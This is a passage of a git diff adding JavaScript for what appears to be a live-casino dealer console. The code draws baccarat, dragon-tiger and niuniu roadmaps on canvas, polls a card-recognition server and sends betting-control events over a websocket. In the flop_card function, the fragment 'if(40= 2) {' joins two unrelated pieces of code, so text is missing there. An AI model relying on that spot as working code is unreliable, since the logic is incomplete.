if(lang.lang == 'en-us'){ + var strDate = new Date(); + strDate = strDate.toDateString() + strDate += " " + h + ":" + minute + ":" + s; + }else if(lang.lang == 'zh-cn'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + }else if(lang.lang == 'zh-tw'){ + var strDate = (" " + today.getFullYear() + "年" + (today.getMonth() + 1) + "月" + today.getDate() + "日" + h + ":" + minute + ":" + s); + } + var n_day = today.getDay(); + switch (n_day) { + case 0: + var week = lang.sunday; + break; + case 1: + var week = lang.monday; + break; + case 2: + var week = lang.tuesday; + break; + case 3: + var week = lang.wednesday; + break; + case 4: + var week = lang.thursday; + break; + case 5: + var week = lang.friday; + break; + case 6: + var week = lang.saturday; + break; + case 7: + var week = lang.sunday; + break; + } + $('.date .weekend').html(week); + $('.date .time').html(strDate); +} +// 请求所有路单数据,执行画布刷新 +function waybillFunc(){ + var data = new Object; + data.boot_id = $('#boot_id').val(); + data.game_id = game_id; + var url="" + if(game_id==1||game_id==2){url="/index/waybill"} + else if(game_id==4||game_id==5){url="/index/waybill_nn"} + else if(game_id==6){url="/index/waybill_toning"} + $.ajax({ + url:url, + type:"POST", + dataType:"JSON", + data:data, + success:function(data){ + ludan = data; + requestData(ludan); + } + }); +} +function title(ctb,unit,x,y,type){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + fonts= 'Banker'; + var font_color = '#b20a00'; + }else if(type==2){ + fonts= 'P1'; + var font_color = '#0543bc'; + }else if(type==3){ + fonts= 'P2'; + var font_color = '#0543bc'; + }else if(type==4){ + fonts= 'P3'; + var font_color = '#0543bc'; + } + if(type == 1){ + var color = '#ffad97'; + }else{ + var color = '#73d8f7'; + } + //背景色 + ctb.fillStyle = color ; // 颜色 + ctb.fillRect(x,(y-1)*unit,unit*2-1,unit-0.5); + ctb.fill(); + //文字 + ctb.font=unit*0.5+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x/2),radius+unit*(y-1)); + ctb.stroke(); +} +function requestData(data,ask,askroad){ + var ask=ask||false; + var askroad=askroad||{ + "askshowroad":false, + "askbigRoad":false, + "askbigEyeRoad":false, + "askpathway":false, + "askroach":false, + }; + bigH=$(".canvas-box.big").height(); + bigW=$(".canvas-box.big").width(); + // 计算单位 + unitbig=bigH/6; + // 计算列个数 + colbig=Math.floor(bigW/unitbig); + if(game_id==1){ CanvasTable("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==2){CanvasTableDt("#canvas3",unitbig,6,colbig,data,ask,askroad);} + else if(game_id==4||game_id==5){ + unitbig=bigH/8; + colbig=Math.floor(bigW/unitbig); + if(colbig%2 == 1){ + colbig = colbig - 1; + } + CanvasTableNn("#canvas3",unitbig,8,colbig,data); + }else if(game_id==6){CanvasTableToning("#canvas3",unitbig,6,colbig,data,ask,askroad);} +} +/////百家乐珠路 +function CanvasTable(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//龙虎珠路 +function CanvasTableDt(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill.showRoad; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + + } + break; + } + } +} +//色碟露珠 +function CanvasTableToning(Id,unit,rows,cols,data,ask,askroad){ + var width=unit*cols, + height=unit*rows; + + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j,0); + ctb.lineTo(unit*j,height); + } + ctb.closePath() + ctb.stroke(); + if(data.status){ + switch(true){ + // 判断是否滚动 + case Id=="#canvas3": + var showRoad=data.waybill; + if(showRoad!=''){ + var roadType="showWay" + cutRoad(roadType,ctb,unit,showRoad,cols,ask,askroad.askshowroad); + } + break; + } + } +} +//牛牛珠路 +function CanvasTableNn(Id,unit,rows,cols,data){ + + var width=unit*cols, + height=unit*rows; + $(Id).attr("width",width) + $(Id).attr("height",height) + var canvasId=$(Id); + var ctb=canvasId[0].getContext('2d'); + ctb.lineWidth = 1;//线条宽度 + ctb.strokeStyle = "#919191";//线条颜色 + ctb.beginPath(); + ctb.moveTo(0, 0.5); + ctb.lineTo(width, 0.5); + for (var i = 0; i <= rows; i++) { + ctb.moveTo(0, unit*i); + ctb.lineTo(width, unit*i); + } + ctb.closePath() + ctb.stroke(); + ctb.beginPath(); + ctb.moveTo(0.5, 0); + ctb.lineTo(0.5, height); + for (var j = 1; j <= cols; j++) { + ctb.moveTo(unit*j*2,0); + ctb.lineTo(unit*j*2,height); + } + ctb.closePath() + ctb.stroke(); + + ctb.beginPath(); + ctb.lineWidth = 1.5;//线条宽度 + ctb.strokeStyle = "#000";//线条颜色 + ctb.moveTo(0, unit*4); + ctb.lineTo(width, unit*4); + ctb.moveTo(0, unit*8); + ctb.lineTo(width, unit*8); + ctb.closePath() + ctb.stroke(); + title(ctb,unit,1,1,1); + title(ctb,unit,1,2,2); + title(ctb,unit,1,3,3); + title(ctb,unit,1,4,4); + title(ctb,unit,1,5,1); + title(ctb,unit,1,6,2); + title(ctb,unit,1,7,3); + title(ctb,unit,1,8,4); + // title(ctb,unit,1,9,1); + // title(ctb,unit,1,10,2); + // title(ctb,unit,1,11,3); + // title(ctb,unit,1,12,4); + cutRoadNn(ctb,unit,data.waybill,cols); +} +// 前端路单数据截取 +function cutRoad(roadType,ctb,unit,roadData,cols,ask,askroad){ + var L=roadData.length; + var new_roadData=[]; + var Tab=0 + if(roadType=="showWay"||roadType=="bigWay"){ + if(ask&&askroad){ + Tab=cols; + }else{ + Tab=cols-1; + } + }else{ + if(ask&&askroad){ + Tab=cols-1; + }else{ + Tab=cols-2; + } + } + var start_x=cols/2+0.25; + if(L>=1){ + var last_x=roadData[L-1].show_x + if(last_x>Tab){ + var cut=last_x-Tab + $.each(roadData,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + }else{ + new_roadData=roadData; + cut=0; + } + }else{ + new_roadData=roadData; + cut=0; + } + $.each(new_roadData,function(i,v){ + if(roadType=="showWay"){ + SoloPath(ctb,unit,v.show_x-cut,v.show_y,v.result,v.pair) + } + }) +} +////nn 前端路单数据截取 +function cutRoadNn(ctb,unit,data,cols){ + var L=data.length/4; + var new_roadData=[]; + var Tab=0; + last_x = (cols/2-1)*2-1; + if(L > (cols/2-1)*2-1){ + var cut = L - last_x; + $.each(data,function(i,v){ + if(v.show_x>cut){ + new_roadData.push(v) + } + }) + $.each(new_roadData,function(i,v){ + v.show_x = v.show_x - cut; + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + }else{ + if(data){ + $.each(data,function(i,v){ + if(v.show_x<=(cols/2-1)){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x,v.show_y,v.type,v.result,v.is_win); + } + }else if(v.show_x<=cols-2){ + if(game_id == 4){ + showPath(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + }else if(game_id == 5){ + showPath_tc(ctb,unit,v.show_x-(cols/2)+1,v.show_y+4,v.type,v.result,v.is_win); + } + } + }) + } + } +} +// 局数 数,文字X坐标,文字Y坐标,文字大小风格 +function Font_tie(ctb,num,Font_x,Font_y,fontsize){ + if(num!==undefined){ + ctb.beginPath(); + ctb.font=fontsize; + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillStyle ="#242424"; + ctb.fillText(num,Font_x,Font_y); + ctb.stroke(); + } +} +function SoloPath(ctb,unit,x,y,type,corners){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if (game_id == 6){ + if(type==0){ + var color='#5A5A5A'; + var fonts="0"; + ctb.strokeStyle = "#5A5A5A"; + }else if(type==1){ + var color='#5495F4'; + var fonts="1"; + ctb.strokeStyle = "#5495F4"; + }else if(type==2){ + var color='#70B252'; + var fonts="2"; + ctb.strokeStyle = "#70B252"; + }else if(type==3){ + var color='#F4BB4C'; + var fonts="3"; + ctb.strokeStyle = "#F4BB4C"; + }else if(type==4){ + var color='#E35C4C'; + var fonts="4"; + ctb.strokeStyle = "#E35C4C"; + } + } else { + if(type==1){ + var color='#ff002a'; + var fonts=""; + if(game_id==1){fonts=lang.banker;} + else if(game_id==2){ fonts=lang.dragon;} + ctb.strokeStyle = "#ff4a68"; + }else if(type==2){ + var color='#3a38f0'; + var fonts=""; + if(game_id==1){fonts=lang.player;} + else if(game_id==2){ fonts=lang.tiger;} + ctb.strokeStyle = "#7e7df6"; + }else if(type==3){ + var color='#44d024'; + var fonts=""; + if(game_id==1){fonts=lang.tie;} + else if(game_id==2){ fonts=lang.tie;} + ctb.strokeStyle = "#71df57"; + } + } + + ctb.arc(radius+unit*(x-1), radius+unit*(y-1), unit*0.45, 0, Math.PI * 2); + ctb.fillStyle=color; + ctb.fill(); + ctb.font=unit*0.6+"px Arial"; + ctb.fillStyle ="#fff" ; // 颜色 + ctb.textAlign = 'center'; + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,radius+unit*(x-1),radius+unit*(y-1)); + ctb.stroke(); + var corner_xy=unit/3.5 + if(corners==1){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + }else if(corners==2){ + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + }else if(corners==3){ + corner(ctb,unit,x,y,corner_xy,'#ff2202'); + corner(ctb,unit,x,y,-corner_xy,'#0337ff'); + } +} +//角标 +function corner(ctb,unit,x,y,corner_xy,corner_color){ + var radius=unit/2 + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#fff"; + ctb.arc(radius+unit*(x-1)-corner_xy, radius+unit*(y-1)-corner_xy, unit*0.13, 0, Math.PI * 2); + ctb.fillStyle=corner_color; + ctb.fill(); + ctb.stroke(); +} +/*牛牛*/ +function showPath(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 0){ + var fonts = 'N0'; + }else if(result == 1){ + var fonts = 'N1'; + }else if(result == 2){ + var fonts = 'N2'; + }else if(result == 3){ + var fonts = 'N3'; + }else if(result == 4){ + var fonts = 'N4'; + }else if(result == 5){ + var fonts = 'N5'; + }else if(result == 6){ + var fonts = 'N6'; + }else if(result == 7){ + var fonts = 'N7'; + }else if(result == 8){ + var fonts = 'N8'; + }else if(result == 9){ + var fonts = 'N9'; + }else if(result == 10){ + var fonts = 'NN'; + }else if(result == 11){ + var fonts = 'WG'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + ctb.font=unit*0.45+"px Arial";//字的大小 + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +/*三卡牛牛*/ +function showPath_tc(ctb,unit,x,y,type,result,is_win){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + if(type==1){ + var font_color = '#b20a00'; + }else{ + var font_color = '#1e14d3'; + } + if(result == 1){ + var fonts = '牛1'; + }else if(result == 2){ + var fonts = '牛2'; + }else if(result == 3){ + var fonts = '牛3'; + }else if(result == 4){ + var fonts = '牛4'; + }else if(result == 5){ + var fonts = '牛5'; + }else if(result == 6){ + var fonts = '牛6'; + }else if(result == 7){ + var fonts = '牛7'; + }else if(result == 8){ + var fonts = '牛8'; + }else if(result == 9){ + var fonts = '牛9'; + }else if(result == 10){ + var fonts = '牛牛'; + }else if(result == 11){ + var fonts = '豹子'; + }else if(result == 12){ + var fonts = '同花顺'; + }else if(result == 13){ + var fonts = '皇家同花顺'; + } + //背景色 + if(is_win == 1){ + if(type == 1){ + ctb.fillStyle = '#b20a00' ; // 颜色 + }else{ + ctb.fillStyle = '#1e14d3' ; // 颜色 + } + ctb.fillRect(unit*x*2,unit*(y-0.25),unit*2,unit*0.25); + ctb.fill(); + win(ctb,unit,x,y); + } + //文字 + if(result == 13){ + ctb.font=unit*0.38+"px Arial";//字的大小 + }else{ + ctb.font=unit*0.45+"px Arial";//字的大小 + } + + ctb.fillStyle = font_color ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,radius+unit*(y-1)); + ctb.stroke(); +} +function win(ctb,unit,x,y){ + ctb.beginPath(); + ctb.lineWidth = 0.5; + ctb.strokeStyle = "#000"; + var radius=unit/2||0; + fonts = 'WIN'; + ctb.font=unit*0.25+"px Arial";//字的大小 + ctb.fillStyle = '#fff' ; // 颜色 + ctb.textAlign = 'center'; //字的位置 + ctb.textBaseline = 'middle'; + ctb.fillText(fonts,2*x*unit+unit,unit*(y-0.11)); + ctb.stroke(); +} +function flop_position(data){ + pokercard=data.round.card; + pokersrc="/static/poker/"+pokercard+".png"; + $('.begincard .position-card .card').css("opacity",1); + $('.begincard .position-card .card').find(".face").css("background-image","url("+pokersrc+")"); + pokercard = parseInt(pokercard); + var _position = (pokercard % 100) % 4; + switch (_position) { + case 0: + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 1: + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 2: + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + case 3: + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + break; + } +} +function flop_card(data){ + order_num = data.round.order_num; + card_cow = order_num.substring(0,1); + card_list = order_num.substring(1,2) - 1; + if(card_cow == 1){ + box_name = 'player-1-card'; + if(data.round.result){ + $('.player_1_result').html(data.round.result); + } + }else if(card_cow == 2){ + box_name = 'player-2-card'; + if(data.round.result){ + $('.player_2_result').html(data.round.result); + } + }else if(card_cow == 3){ + box_name = 'player-3-card'; + if(data.round.result){ + $('.player_3_result').html(data.round.result); + } + }else if(card_cow == 4){ + box_name = 'banker-card'; + if(data.round.result){ + $('.banker_result').html(data.round.result); + } + } + if(40= 2) { + query.card = poker; + query.position = position[card.index - 1]; + + sendScanBaccarat(query); + + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + } + } + + } + }); + //} + + }, 250); + + console.log('scan cards stop...'); +} + +function doDtScanCards() { + var card = new Object(); + card.casinoTableId = casinoTableId; + + // 用局部变量 + var cardScanRecord = new Array(); + //var scanPosition = 1; + + var dtPosition = [21, 11]; + + card.count = 2; + + var api = '/recognition_multi'; + + scanTask = setInterval(function() { + console.log('scan cards start...'); + + //if(!stopScan){ + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + + // Dragon: 21 + // Tiger: 11 + + var cards = spCard(data.poker); + cards.forEach(function (v, k) { + var query = new Object(); + + if (!v.includes('n')) { + if (cardScanRecord[k] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + cardScanRecord[k] = _cardRecord; + } else { + _cardRecord = cardScanRecord[k]; + if (_cardRecord['card'] == v && _cardRecord['time'] >= 2) { + query.card = v; + query.position = dtPosition[k]; + + sendScanDt(query); + + } else { + if (_cardRecord['card'] != v) { + _cardRecord['card'] = v; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[k] = _cardRecord; + } + } + } + + }); + + } + + } + }); + //} + + }, 200); + + console.log('scan cards stop...'); +} + +function doNnScanPositionCard() { + var card = new Object(); + card.casinoTableId = casinoTableId; + card.index = 21; //先扫定位牌 + var cardScanRecord = new Array(); + + var api = '/recognition'; + + positionScanTask = setInterval(function() { + console.log('scan postion[21] card start...postion:' + scanPosition); + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + sendScanNn(query); + + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + + isPositionScaned = true; + + console.log('scan postion[21] card end and sent ' + poker); + clearInterval(positionScanTask); + positionScanTask = null; + } + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + + }, 100); +} + +function doNnScanCards() { + + //var position = ['11', '12', '21', '22', '13', '23']; + var card = new Object(); + card.casinoTableId = casinoTableId; + //card.index = 21; //先扫定位牌 + + var cardScanRecord = new Array(); + + var api = '/recognition'; + + scanTask = setInterval(function() { + console.log('scan cards start...postion:' + scanPosition); + + if (!isPositionScaned || positionScanTask != null || scanPosition == 0) { + console.log('定位牌未扫描。'); + return false; + } + card.index = scanPosition; + + $.ajax({ + url: localSbServer + api, + type: 'POST', + dataType: 'JSON', + data: JSON.stringify(card), + success: function(data) { + if (data.code == '2000') { + console.log(data.poker); + if (!data.poker.includes('n')) { + var poker = formatCardData(data.poker); + var query = new Object(); + query.card = poker; + + if (cardScanRecord[card.index] === undefined) { + var _cardRecord = new Object(); + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + cardScanRecord[card.index] = _cardRecord; + } else { + _cardRecord = cardScanRecord[card.index]; + if (_cardRecord['card'] == poker && _cardRecord['time'] >= 3) { + //if (true) { + if (scanPosition == 21) { + query.position = 0; + } + sendScanNn(query); + } else { + if (_cardRecord['card'] != poker) { + _cardRecord['card'] = poker; + _cardRecord['time'] = 1; + } else { + _cardRecord['time']++; + } + cardScanRecord[card.index] = _cardRecord; + } + } + + } + } + } + }); + }, 200); + console.log('scan cards stop...'); +} + + +function spCard(data) { + var cc = data.split('_'); + cc.forEach(function (v, k) { + if (!v.includes('n')) { + cc[k] = formatCardData(v); + } + }); + return cc; +} +function formatCardData(card) { + // card: b-1 + var s = card.substr(0, 1); + var c = card.substr(2, 1); + var h = ''; + var n = ''; + switch(s) { + case 'b':h = '1';break; + case 'r':h = '2';break; + case 'm':h = '3';break; + default:h = '4';break; + } + switch(c) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case '0': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + default : n = '13'; break; + } + var result = h + n; + return result; +} +function cardToServer(card) { + // card: 3d + if (card == undefined && card.length != 2) { + return 'None'; + } + + var s = card.substr(0, 1); + s = s.toLowerCase(); + var c = card.substr(1, 1); + var h = ''; + var n = ''; + switch(c) { + case 's': h = '1'; break; + case 'h': h = '2'; break; + case 'c': h = '3'; break; + default: h = '4'; break; + } + switch(s) { + case '1': n = '01'; break; + case '2': n = '02'; break; + case '3': n = '03'; break; + case '4': n = '04'; break; + case '5': n = '05'; break; + case '6': n = '06'; break; + case '7': n = '07'; break; + case '8': n = '08'; break; + case '9': n = '09'; break; + case 't': n = '10'; break; + case 'j': n = '11'; break; + case 'q': n = '12'; break; + case 'a': n = '01'; break; + default : n = '13'; break; + } + + var result = h + n; + return result; +} \ No newline at end of file diff --git a/public/static/handle/js/handle_nn_sb.js b/public/static/handle/js/handle_nn_sb.js new file mode 100644 index 0000000..774c7fc --- /dev/null +++ b/public/static/handle/js/handle_nn_sb.js @@ -0,0 +1,2862 @@ +var userid = parseInt($('#userid').val()); +var login_token = $('#login_token').val(); +var table_id = parseInt($('#table_id').val()); +var game_id = parseInt($('#game_id').val()); +var account = $('#account').val(); +var number_tab_id; +var ludan; +var isCBoot = false; +var isopentime = false; +var num = 0; +var card_info=[]; +var isWin={ + win_player_1:null, + win_player_2:null, + win_player_3:null, + text:[] +}; + +// 识别相关 +var position = ['11', '12', '21', '22', '13', '23']; +var stopScan = false; +var scanTask = null; + + +// NN识别相关 +var scanDefaultPosition = 'P1'; // 默认定位区 +var scanPosition = 21; // 定位牌 +var positionScanTask = null; +var isPositionScaned = false; +var positionCard = 0; +var isCardScaned = false; +var currentPositionToChange = -1; + +var manualStopAi = false; + +var initScanParams = function() { + clearInterval(scanTask); + scanTask = null; + stopScan = false; + scanPosition = 21; + scanDefaultPosition = 'P1'; + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + positionCard = 0; + isCardScaned = false; + + currentPositionToChange = -1; + + manualStopAi = false; + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); +} +// NN修改牌 +var openAllCardsPanel = function(dom) { + var positionOfCard = parseInt($(dom).attr('data-position')); + + if (positionOfCard > 0) { + if (manualStopAi) { + //if (isCardScaned) { + currentPositionToChange = positionOfCard; + $('#change_cards').show(); + //} + } else { + layer.msg('请先手动停止AI识别。'); + } + } else { + if (!isCardScaned) { + currentPositionToChange = positionOfCard; + $('#change_cards').show(); + } + } +} +var changeErrSbCard = function() { + var poker = $("input[name='cardToChanged']:checked").val(); + var positionNum = 0; + + layer.confirm(lang.confirm_to_change_card,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + if (currentPositionToChange == -1) { + layer.msg('出错。请刷新重试。'); + $('#change_cards').hide(); + return false; + } + // 更换定位牌 + // 其它位置如果已派牌,则无法更改 + if (currentPositionToChange == 0) { + if (isCardScaned) { + layer.msg('其它位置已派牌,无法更改定位牌。'); + $('#change_cards').hide(); + return false; + } + positionCard = parseInt(poker); + scanPosition = (positionCard % 100) % 4; + switch (scanPosition) { + case 2: + scanPosition = 6; + scanDefaultPosition = 'P2'; + $('.box3').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 3: + scanPosition = 11; + scanDefaultPosition = 'P3'; + $('.box4').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + case 0: + scanPosition = 16; + scanDefaultPosition = 'B'; + $('.box1').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + default: + scanPosition = 1; + scanDefaultPosition = 'P1'; + $('.box2').css("background-color","rgba(226, 212, 71, 0.5)"); + break; + } + } else { + var _position = (positionCard % 100) % 4; + currentPositionToChange = parseInt(currentPositionToChange); + switch (_position) { + case 0: + positionNum = currentPositionToChange; + break; + case 1: + if (currentPositionToChange <= 5) { + positionNum = currentPositionToChange + 15; + } else { + positionNum = currentPositionToChange - 5; + } + break; + case 2: + if (currentPositionToChange <= 10) { + positionNum = currentPositionToChange + 10; + } else { + positionNum = currentPositionToChange - 10; + } + break; + case 3: + if (currentPositionToChange <= 15) { + positionNum = currentPositionToChange + 5; + } else { + positionNum = currentPositionToChange - 15; + } + break; + } + console.log('_position:' + _position); + console.log('positionNum:' + positionNum); + } + + var query = new Object(); + query.table_id = $('#table_id').val(); + query.card = poker; + query.position_num = positionNum; + query.number_tab_id = parseInt(number_tab_id); + sendScanNnChange(query); + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); + layer.close(index); + }); +} +var cancelChangeErrSbCard = function() { + $('input:checked').removeAttr('checked'); + $('#change_cards').hide(); +} +// + +var websocket = io(websocketProtocol+"://"+websocketUrl+"/?table_id="+table_id+"&account="+account+"&connect=space&userid="+userid+"&login_token="+login_token,{transports: ['websocket']}); +websocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); +websocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); +//事件 发送******************************************************************************************************************* +var startBet = function(){ + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + websocket.emit('startBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endBet = function (){ + websocket.emit('endBet',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var startRob = function(){ + websocket.emit('startRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; +var endRob = function(){ + websocket.emit('endRob',{table_id : table_id, number_tab_id : number_tab_id}); +}; + +// 重新SB +var restartSB = function(){ + manualStopAi = false; + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index": scanPosition, "biz": number_tab_id}); +}; +var stopSB = function(){ + manualStopAi = true; + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); +}; + +var resetNumberTab = function(){ + isCBoot = true; + var betStatus = $("#number_tab_status").val(); + if(betStatus == 1 || betStatus == 2){ + layer.confirm(lang.is_reset_number,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + websocket.emit('resetNumberTab',{table_id : table_id}); + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = 